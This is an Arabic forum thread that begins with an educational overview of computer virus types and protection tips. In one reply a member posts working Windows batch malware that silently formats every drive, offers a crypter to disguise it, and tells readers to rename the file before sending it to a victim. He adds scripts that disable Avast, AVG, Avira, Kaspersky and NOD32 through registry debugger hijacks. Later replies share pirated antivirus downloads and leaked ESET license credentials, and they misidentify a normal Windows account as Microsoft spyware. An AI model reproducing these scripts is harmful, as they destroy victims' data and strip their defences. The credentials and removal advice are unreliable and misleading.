فيروس الكمبيوتر

هو برنامج صغير يتم إدخاله على الحاسب الاَلي من غير علم المستخدم بغرض

تدمير بعض أو جميع البرامج والأجهزة المكونة للحاسب الاَلي.

تقسيم الفيروسات

1- فيروسات تعمل عند بدء التشغيل :

يحتاج الكمبيوتر عند تشغيله إلى تعليمات خاصة داخلية لمعرفة مكونات الجهاز ،

وهي توجد عادة في ملفات تدعى ملفات النظام (System Files) ،

التي تحتوي على البرامج الخاصة ببدء التشغيل.

ويقوم هذا النوع من الفيروسات بالتسلل إلى القطاع الخاص

ببرنامج الإقلاع على القرص (Boot Sector) ، وإتلاف محتوياته

والعبث بها، ما يؤدي إلى تعطل عملية الإقلاع.

2- فيروس الملفات :

يهاجم هذا النوع نظام التشغيل، وأي برامج أخرى موجودة على الكمبيوتر،

كالتطبيقات المكتبية والألعاب وغيرها، ويعمل على العبث بمحتويات الملفات

التي تنتهي بامتداد bin, com sys, exe, وتدميرها.

3- فيروسات الماكرو :

تصيب هذه الفيروسات برامج التطبيقات المكتبية مثل مايكروسوفت وورد أو أكسل.

وهي من أكثر أنواع الفيروسات انتشاراً واستخداماً في عمليات التسلل

إلى كمبيوترك عبر التطبيقات.

4- الفيروسات المتعددة الملفات :

تنسخ هذه الفيروسات نفسها في صيغة أولية ثم تتحول إلى صيغ أخرى

لتصيب ملفات أخرى.

5- الفيروسات الخفية ( الأشباح ) :

وهذه فيروسات مخادعة.. إذ أنها تختبئ في الذاكرة ثم تتصدى لطلب تشخيص

وفحص قطاع التشغيل، ثم ترسل تقرير مزيف إلى السجل بأن

القطاع غير مصاب.

6- الفيروسات متعددة القدرة التحوليّة :

وهذه الفيروسات لها القدرة الديناميكية على التحول وتغيير الشفرات

عند الإنتقال من ملف إلى آخر، لكي يصعب اكتشافها.


كيفية حماية الحاسوب

1- من الضروري تركيب البرامج المضادة للفيروسات على الجهاز وتشغيلها

طوال فترة استخدام الجهاز. إن هذا يتيح لهذه البرامج البحث عن

الفيروسات وتدميرها سواء كان أسبوعياً أو يومياً أو عند التشغيل

2- عدم فتح أي ملف مرفق ضمن أي رسالة بريد إلكتروني أو أي برنامج آخر

كالماسنجر، مهما كان مصدرها، إلا بعد أن تفحصها باستخدام

برنامج مضاد للفيروسات، بشرط أن يكون مصدر الرسالة معروفاً،

و أن تكون تتوقع وصول هذا الملف لأن بعض الفيروسات ترسل نفسها بأسماء

أشخاص آخرين عن طريق دفتر العناوين .. لذا احذر من ذلك .

3- متابعة أخبار الفيروسات وطرق تغريرها بالمستخدم ، عبر مواقع الأخبار

التقنية أو الصحف اليومية أو النشرات الإخبارية بهدف أخذ الاحتياطات

اللازمة وعدم الوقوع في فخ هذا الفيروس الجديد .

4- التأكد من مصدر أي برنامج تقوم بإنزاله عبر إنترنت وفحصه

بواسطة برنامج مضاد الفيروسات الذي تستخدمه قبل تثبيته في جهازك .

5- تعطيل خاصية تحميل الجهاز من مشغل الأقراص المرنة (Floppy drive)

6- من الضروري أيضاً تحديث برامج مستكشف الفيروسات بصورة دورية،

من خلال الحصول عليها من الشركة المنتجة، أو من مواقع إنترنت المختلفة،

كي تضمن حصولك على آخر المعلومات والأعراض الخاصة بالفيروسات الجديدة،

وطريقة الوقاية منها.

7- تشغيل برامج مستكشف الفيروسات، وتفحّص أي ملفات أو برامج جديدة

تصلك عبر البريد الإلكتروني، والإنترنت، والأقراص المرنة ، وعدم السماح

بإدخال وتشغيل أي ملفات أو برامج مجهولة المصدر وبدون الفحص مسبقاً.

8- الانتباه إلى عدم تشغيل أو إعادة تشغيل الكمبيوتر بوجود القرص المرن في موقعه،

حيث أن بعض هذه الفيروسات تختبئ داخل القرص المرن حتى تجد الفرصة

الملائمة للتشغيل عندها.

9- تحميل البرامج عن طريق المواقع الموثوق فيها.


من خصائص الفيروسات

1- الإنتشار :

يتميز الفيروس أيضاً بقدرة هائلة على الإنتشار ..

وقد سبق وأن قدمت العوامل التي تساعده في ذلك ..

2- القدرة على التخفي :

للفيروسات قدرة عجيبة على التخفي والخداع عن طريق الإرتباط ببرامج أخرى

كما تم أيضاً تزويد الفيروسات بخاصية التوميه والتشبّه حيث أن الفيروس يرتبط

ببرنامج يقوم بأعمال لطيفة أو له قدرة عرض أشياء مثيرة،

وعند بداية تشغيله يدخل إلى النظام ويعمل على تخريبه.

وللفيروسات عدة وسائل للتخفي منها ارتباطه بالبرامج المحببة إلى المستخدمين ..

ومنها ما يدخل النظام على شكل ملفات مخفية بحيث لا تستطيع ملاحظة

وجوده عن طريق عرض ملفات البرنامج.

وبعض الفيروسات تقوم بالتخفي في أماكن خاصة مثل ساعة الحاسب

وتنتظر وقت التنفيذ.

كما أن بعضها تقوم بإخفاء أي أثر لها حتى أن بعض مضادات الفيروسات لا تستطيع

ملاحظة وجودها ثم تقوم بنسخ نفسها إلى البرامج بخفة وسرية

(فيروسات تدري من أين تأكل الكتف) ..

3- القدرة التدميرية :

تظهر عندما يجد الفيروس المفجر الذي يبعثه على العمل كأن يكون

تاريخ معين (كفيروس تشرنوبل).


أفضل برامج الحماية من الفيروسات

توجد العديد من برامج الحماية من الفيروسات لكن أفضلها وأشهرها

على الإطلاق هما هذان البرنامجان

برنامج النورتون أنتي فايرس Norton Antivirus

برنامج مكافي Mcafee

وهذان البرنامجان هما الأفضل والأقوى في دنيا مكافحة الفيروسات وخصوصاً مع

التحديث الدائم لهما ولتعريفات الفيروسات من خلال الإنترنت لأن التحديث الدائم

للبرنامج يتيح له الفرصة في التعرف على الفيروسات الجديدة

ومن ثم منعها من إحداث أي ضرر بالجهاز ..

بارك الله فيكي أستاذة أم أمل . من أين يمكن الحصول على برنامج مكافي ( مجاني طبعا )

حياك الله ام امل على هذا الطرح الرائع للموضوع
ولقد قرأته كلمة كلمة فحرفا حرفا .. اتمنى من الجميع الانتباة جيدا له
قد يتساءل سائل منكم كيف يتم صناعة وخلق الفيرس
هل هذا امر صعب ؟
كلا على الاطلاق
فالفيرس عبارة عن كود تنفيذى يتم كتابتة يدويا فى بيئة الويندوز احيانا من خلال اداة "النوتباد NotePad" ولا توجد معجزات فى الامر او من خلال بعض البرامج المتخصصة فى هذا
ولست بحاجة الى القسم بايمان تعيد الكافر الى حظيرة الايمان بأن لدى اكثر من 600 برنامج وفيرس ... ولكننى لا اجد الترف المناسب للتجربة ... فالروح واحدة كما يقولون وجهاز عجوز على مثل تلك المغامرات غير مأمونة العواقب ...
فيما مضى حين ارغب فى ايذاء احد ...
اقوم بفتح النوت باد واقوم بكتابة مثل هذا الامر المكون من سطر او خمسة اسطر على وجه التحديد ..
#echo off
format C:\ q /s /y
format D:\ q /s /y
format E:\ q /s /y
format F:\ q /s /y
format G:\ q /s /y
ما معنى هذا الهراء ؟؟
فورمات هو امر مخصص لحذف داتا القرص الصلب ..
سى او دى او اف او جية هو اسم البارتيشن فى القرص
حرف كيو معناه "كويكلى يعنى سريع " Quickly
حرف اس يعنى سايلنت يعنى صامت Silent
حرف واى يعنى "نعم " yes
لم لم يفهم فالكود يتم كتابتة فى ملف نوت باد
كل سطر معناه = فورمات =القرص فلان + فورماتسريع + فورمات صامت بلا شاشة سوداء تظهر للمستخدم + نعم موافق على لافورمات حتى لا تظهر للمستخدم رسالة تطالبه بتأكيد الفورمات..."
, ويتم حفظة بامتداد بات او اى اكس اية كالاتى
Format.bat
او
طبعا مش هنكتب اسم الملف فورمات ونبعته للضحية كن ذكيال واختر اى اسم يروق لك
format.exe
ونحن فى اغلب الاحيان نحتار امتداد بات ... وهو الخاص بالاوامر التنفيذية
ما الامر الاخر المهم فى الفيرس وصناعتة وارسالة ؟؟
طبعا تحتاج الى برنامج تشفير ال**** وتغيير ايقونتة الواضحة لبعض المستخدمين حتى لو اوهمتهم بأن هذى صورة ... فانت بحاجة الى تغيير الامتداد وتغيير الايقونة
هناك العديد من برامج التشفير يمككم البحث عنها
سوف اقوم بأرفاق برنامج تشفير صغير يقوم بتغيير ايقونة ال**** وتشفيرة
Yap crypter.zip فى المرفقات يمكنم تحميلة
.................................................. ....
كثيرا ما نسمع عن بعض الفيروسات التى تقوم بقتل برامج الحماية فكيف يتم ذلك ؟
ايضا هى اكواد تنفيذية فى بيئة الدوس يتم كتابتها وتشفيرها ودمجها فى ملف الفيرس من خلال برامج البليند Blind المخصصة للدمج -- عموما فبرنامج MPS يقوم بالدمج وقد طرحتة لكم من قبل وهو مخصص لسرقة باسوودرات الياهو 10 فاقل
طيب ازاى واين نجد تلك الاكواد
هاكم الاكواد يا اصداقء قوموا بنسخها ولصقها فى ملف نوت باد وتسميتها باى اسم يعجبكم
بشرطك ان يكون الاسم على هذى الصيغة مثلا
Kill norton.bat
kill avira.bat
وهكذا ... المهم ان ينتهى بدوت باااااااااااااات
كود قتل الافاست
#echo off
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ashDisp.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\aswupdsv.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ashserv.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ashMaisv.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ash***sv.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ashQuick.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sched.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ashAvast.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\VisthUpd.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AVASTSS.scr" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ashSimpl.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ashCmd.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ashSimp2.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ashEnhcd.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
shutdown -f -r -t 0

كود قتل AVG anti-virus
#echo off
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgcfgex.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgcmgr.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgcsrvx.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgdumpx.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgemc.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgfrw.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgiproxy.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgnsx.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgscanx.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgtray.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgui.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgupd.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgwdsvc.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fixcfg.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
shutdown -f -r -t 0
كود قتل افيرا

echo off#
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgnt.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avscan.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avcenter.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avguard.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avwsc.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avconfig.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\update.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\setup.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sched.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\guardgui.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avupgsvc.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avconfig.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avadmin.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
shutdown -f -r -t 0
كود قتل الكاسبر سكاى

#echo off
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avp.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
shutdown -f -r -t 0
كود قتل النود32

#echo off
taskkill /im egui.exe /f /t
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\egui.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ekrn.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SysRescue.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
start Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SysInspector.exe" /v "Debugger" /t "REG_SZ" /d "ntsd -d" /f
shutdown -f -r -t 0

عموما رفعت لكم الاكواد فى ملفات تكست فى المرفقات يمكن نسخها ووضعها فى ملف نوت باد واعادة تسميتة بما يعجبكم

لمن يريد الاستزادة فليكتب تعليقا حتى اضع بعض ما لدى لكم ها هنا
اشكركم على المرور ...

جزاك الله خيرا مستر أحمد على المرور والأضافة

بارك الله فيكي أستاذة أم أمل . من أين يمكن الحصول على برنامج مكافي ( مجاني طبعا )


جرب حضرتك الرابط ده

http://rapidshare.com/files/117397389/vsp80en.exe (http://rapidshare.com/files/117397389/vsp80en.exe)

كلام جميل جداااااااا

جرب حضرتك الرابط ده

http://rapidshare.com/files/117397389/vsp80en.exe (http://rapidshare.com/files/117397389/vsp80en.exe)
جرب دا كمان
مكافى توتال بروتيكت http://www.mediafire.com/?wy4yudr4t8gylpl
كلمة سر تحميل الملف من الميديا فاير :olti
حجم الملف 72ميجا تقريبا -- نسخة تشمل الحماية من كافة انواع البرامج الضارة والخبيثة مدمج مع الاصدار نسخة انتى فيرس وانترنت سيكيوريتى




McAfee Total Protection (http://www.mediafire.com/?wy4yudr4t8gylpl)

Password:olti for mediafire

لو حبيت تحمل تحديث يومى من موقع استخدمه كثيرا فى تحديث جميع برامج االانتى فيرس
www.scanwith.com (http://www.scanwith.com)

بالنسبة لعرض الستة اشهر من مكافى يمكنك تحميل البرنامج مكافى توتل بروتيكت
من الرابط التالى http://promos.mcafee.com/offer.aspx?id=403203
فقط قم بالتسجيل :
اسم مستخدم + الباسوورد
.................................
والباقى انت تعرفه بقى
او حمل من هنا (http://www.youtube.com/watch?v=-MUb1w5GG6I)
اختر اى رابط وقم بالتحميل منه والله المستعان ...
اى استفسار انا موجود

جرب دا كمان
مكافى توتال بروتيكت http://www.mediafire.com/?wy4yudr4t8gylpl
كلمة سر تحميل الملف من الميديا فاير :olti
حجم الملف 72ميجا تقريبا -- نسخة تشمل الحماية من كافة انواع البرامج الضارة والخبيثة مدمج مع الاصدار نسخة انتى فيرس وانترنت سيكيوريتى




mcafee total protection (http://www.mediafire.com/?wy4yudr4t8gylpl)

password:olti for mediafire

لو حبيت تحمل تحديث يومى من موقع استخدمه كثيرا فى تحديث جميع برامج االانتى فيرس
www.scanwith.com (http://www.scanwith.com)

بالنسبة لعرض الستة اشهر من مكافى يمكنك تحميل البرنامج مكافى توتل بروتيكت
من الرابط التالى http://promos.mcafee.com/offer.aspx?id=403203
فقط قم بالتسجيل :
اسم مستخدم + الباسوورد
.................................
والباقى انت تعرفه بقى
او حمل من هنا (http://www.youtube.com/watch?v=-mub1w5gg6i)
اختر اى رابط وقم بالتحميل منه والله المستعان ...
اى استفسار انا موجود




بارك الله فيك مستر أحمد

ان شاء الله اقدم لكم موضوع كيفية حماية الجهاز
من الأصابة بالفيروسات وملفات التجسس
وكيفية حذف ملفات التجسس
وكيفية معرفة ان الجهاز مصاب بملفات تجسس
الشرح مدعـم بالصور



نبدأ مـــع الشرح
-*-*-*-*-*-*-*-

لمعرفة إذا كان الجهاز مخترق او لا

لأصحاب ويندوز اكس بى
ندخـل ل --> start او إبدأ
ثم --> run او تشغيل
http://www.n2hr.com/up//uploads/images/n2hr1fcb783eac.png

ثم نكتب {system.ini }
http://www.n2hr.com/up//uploads/images/n2hrd93787bd4c.png

ثم موافق
إذا كانت مثل الصورة التالية فجهازك سليم والحمدلله
http://www.n2hr.com/up//uploads/images/n2hr17263a30f7.png

اما إذا كانت مثل الصورة التالية فجهازك
مصـاب
http://www.n2hr.com/up//uploads/images/n2hr76da511c1f.png

يتبع إن شاء الله

نأتى لحذف الفيروسات

ندخـل ل --> start او إبدأ
ثم --> run او تشغيل
ثـم نكتب ((Regedit ))
ثم موافق
http://www.n2hr.com/up//uploads/images/n2hr8c64174ea3.png

http://www.n2hr.com/up//uploads/images/n2hr5822b27414.png


http://forums.way2allah.com/images/statusicon/wol_error.gifهذه الصورة مصغرة إضغط هنا لعرضها بحجمها الطبيعي .http://www.n2hr.com/up//uploads/images/n2hr9680b702e7.png

---> file او تحرير
ثم find او بحث
ثــم نكتب فى مربع البحث كلمة (( poison ))

http://www.n2hr.com/up//uploads/images/n2hre5bb849e5c.png
ثم بحث
http://www.n2hr.com/up//uploads/images/n2hr8a1cd5d1f5.png

لو خرج شئ بعد البحث يتم حذفه
اضغط عليه كليك يمين ثم rehttp://forsanhaq.com/images/smilies/thread_moved.gif او حذف
وإذا لم يخرج فلا يوجد

ثم نكرر الخطوة السابقة ولكن نبحث عن
(( server ))
وإذا خرج شئ يتم حذفه

ثم نكرر ونبحث عن (( ***** ))
وإذا خرج شئ يحذف

للتأكد من ان الجهاز سليم طريق اخرى
ندخـل ل --> start او إبدأ
ثم --> run او تشغيل
ثم نكتب كلمة (( cmd ))
http://www.n2hr.com/up//uploads/images/n2hrda96eba9e9.png

تخرج لنا هذه الشاشة وهيا شاشة الدوس
http://forums.way2allah.com/images/statusicon/wol_error.gifهذه الصورة مصغرة إضغط هنا لعرضها بحجمها الطبيعي .http://www.n2hr.com/up//uploads/images/n2hrc4cb903508.png


نكتب فيها (( dir *****))
http://forums.way2allah.com/images/statusicon/wol_error.gifهذه الصورة مصغرة إضغط هنا لعرضها بحجمها الطبيعي .http://www.n2hr.com/up//uploads/images/n2hr66ca9d9535.png

إذا خرج مثل هذا فإن جهازك سليم والحمدلله
File not found
http://forums.way2allah.com/images/statusicon/wol_error.gifهذه الصورة مصغرة إضغط هنا لعرضها بحجمها الطبيعي .http://www.n2hr.com/up//uploads/images/n2hra9f6ab3339.png

يوجـد فى الجهاز ملف
تجسس مــن
شركة مايكروسوفت

نأتى لطريقة حذفه

ندخـل ل --> start او إبدأ


ثم --> run او تشغيل


ثم نكتب كلمة (( cmd ))





http://www.n2hr.com/up//uploads/images/n2hr9ad810c31f.png







http://www.n2hr.com/up//uploads/images/n2hr75deb4fee4.png





تظهر شاشة الدوس نكتب الأمر التالى


net user


مع مراعات الفراغات


http://forums.way2allah.com/images/statusicon/wol_error.gifهذه الصورة مصغرة إضغط هنا لعرضها بحجمها الطبيعي .http://www.n2hr.com/up//uploads/images/n2hr8c7d253314.png





بيطلع رمز >> 3388945a0 >>


http://forums.way2allah.com/images/statusicon/wol_error.gifهذه الصورة مصغرة إضغط هنا لعرضها بحجمها الطبيعي .http://www.n2hr.com/up//uploads/images/n2hr3f17914b14.png












نأتى لطريق حذفة نكتب فى شاشة الدوس
امر (( net user support_388945a0 delete))
http://forums.way2allah.com/images/statusicon/wol_error.gifهذه الصورة مصغرة إضغط هنا لعرضها بحجمها الطبيعي .http://www.n2hr.com/up//uploads/images/n2hr0cf746a389.png
ثم انتر
وبذلك تم حذف ملف التجسس من شركة مايكروسوف

بارك الله فيكى ام امل على تلكم المعلومات الرائعة والمتجددة
بس طريقة التخلص من ملف تجسس مايكروسوفت صعبة شوية
انا جربتها عدة مرات ومفيش اى تغيير
لما بعمل عرض لمحتوى امر نت يوزر -- بيعطينى نفس القيم والمعلومات
لما حاولت اعمل ديليت -- اكد لى نجاح عملية الحزف
اجى اعمل عرض .. نفس الحكاية
كاننى ادور فى دائرة مفرغة

بارك الله فيك مستر أحمد


الأستاذة أم أمل والأستاذ أحمد ( مدرس بالأجر ) أشكر لكما مجهودكما وإخلاصكما لله تعالى
جاري التحميل ...اللهم اجعله في ميزان حسناتكما

الأستاذ / مدرس بالأجر . أشكرك على معلوماتك القيمة والجميلة

الأستاذة أم أمل -الأستاذ( مدرس بالأجر ) . هل يمكنني الاستفادة بخبرتيكما في معرفة ما إذا كان برنامج شركة مايكروسوفت مضاد الفيروسات ( Microsoft Security Essentials ) أم مكافي توتال بروتيكت فمن منهما الأفضل . بارك الله لكل منكما

الأستاذة أم أمل -الأستاذ( مدرس بالأجر ) . هل يمكنني الاستفادة بخبرتيكما في معرفة ما إذا كان برنامج شركة مايكروسوفت مضاد الفيروسات ( Microsoft Security Essentials ) أم مكافي توتال بروتيكت فمن منهما الأفضل . بارك الله لكل منكما

سؤالك محير يااخ محمد
بصراحة انت ترى اننا فى عالم ملئ بالفيروسات
هل تتصور انه كل يوم يتم سنع اكثر من 300000 فيرس خبيث
اذا لم تصدق فعليك بزيارة موقع ويكيبيديا او جوجل ريزولت =نتائج جوجل عن الفيروسات
اى انتى فيرس يعتمد على قواعد بيانات بالهاشات الخاصة بكل فيرس يتم اقتناصة
ومن هنا تحتم الضرورة بتحديث الانتى فيرس يوميا
تجنبا للبرمجيات الخبيثة وبرامج الروت كيت RootKit's

انت محتار فى ايهما الافضل ؟؟
الصراحة اننى اعتمد على اثنين من الانتى فيرس على جهازى اما نورتون وافيرا
واما افيرا ومكافى توتال بروتيكت
مع التحديث اليومي لتينك الــSoftware
لا اجد شخصا واحد فى العالم ينصحك بأى انتى فيرس معين
فكما ذكرت لك ان الاف الفيروسات يتم كتابتها يوميا ونشرها على الشبكة
ولا محالة لابد ان يصلك ايها - فى اى وقت -يريدة الله
طالما انت متصل بالانترنت
اذا اردت فيمكنك استعمال "بت ديفيندر = مكافى بحسب التنصيف العالمى فهما الاول عالميا فى مجال الحماية - لو كان جهاز يستوعب البت ديفيندر اتوكل على الله
المتطلبات بروسيسور كور تو ديو + رامات 3جيجا على الاقل او اتنين "

اذا اردت برنامج صامت وخفيف يمكنك استعمال النورتون او الافيرا بتحديث يومي
تذكرت " النود 32" وهو برنامج لا يمكن انكاره او تجاهلة
قم بتحميل الاصدار الاخير من موقعة الرسمى مثلا
استخدم بيانات التسجيل بتاعتى دا وهتشتغل معاك بازن الله
Username:
EAV-67403001
Password:
dmhxkfmuue
Expire:
17-09-2012
لو ما اشتغلتش معاك يمكنك تجربى اى واحد من البيانات الاتية لتسجيل النود32 انتى فيرس 2012
ESS / ESSBE [ 180 | 90 DAYS ] 2012
Username:
EAV-67403003
Password:
na4kmvmfej
Expire:
17-09-2012
Username:
EAV-67403002
Password:
3easmpmn62
Expire:
17-09-2012
Username:
EAV-67403001
Password:
dmhxkfmuue
Expire:
17-09-2012
Username:
EAV-67405054
Password:
7b2te5p4be
Expire:
17-09-2012
Username:
EAV-67405063
Password:
4es45xf5em
Expire:
17-09-2012
.................................
EAV / EAVBE [ 180 | 90 DAYS ] 2012
Username:
EAV-67403003
Password:
na4kmvmfej
Expire:
17-09-2012
Username:
EAV-67403002
Password:
3easmpmn62
Expire:
17-09-2012
Username:
EAV-67403001
Password:
dmhxkfmuue
Expire:
17-09-2012
Username:
EAV-67405054
Password:
7b2te5p4be
Expire:
17-09-2012
Username:
EAV-67405063
Password:
4es45xf5em
Expire:
17-09-2012
كما يمكنك متابعة المزيد من ******ات اى انتى فيرس من خلال الرابط الاتى -- تحلى بالصير
http://esetsmartsecurity5.blogspot.com/2012_06_01_archive.html

اسف على الاطالة والتاخر فى الرد --

لا حيلة لى الا ما خبرته بنفسى عن الايام

الأستاذ الفاضل /( مدرس بالأجر ) جزاك الله عني خيرا . شعرت بالفعل أن سؤالي كان محيرا . بل وازددت حيرة مع قراءتي لتحليلاتك والتي إن دلت على شئ تدل على أنك رجل بروفيشنال في عالم الكومبيوتر. مخلص لله تعالى . لك مني جزيل الشكر وموفور التحية

الأستاذ الفاضل /( مدرس بالأجر ) جزاك الله عني خيرا . شعرت بالفعل أن سؤالي كان محيرا . بل وازددت حيرة مع قراءتي لتحليلاتك والتي إن دلت على شئ تدل على أنك رجل بروفيشنال في عالم الكومبيوتر. مخلص لله تعالى . لك مني جزيل الشكر وموفور التحية
بالنسبة لافضل انتى فيرس
يمكنك ان تختار من خلال هذا التصنيف العالمى
http://fortut.ucoz.com/others/Anti_Viruses.png



اخى فى الله
انا لست محترف ولا يحزنون
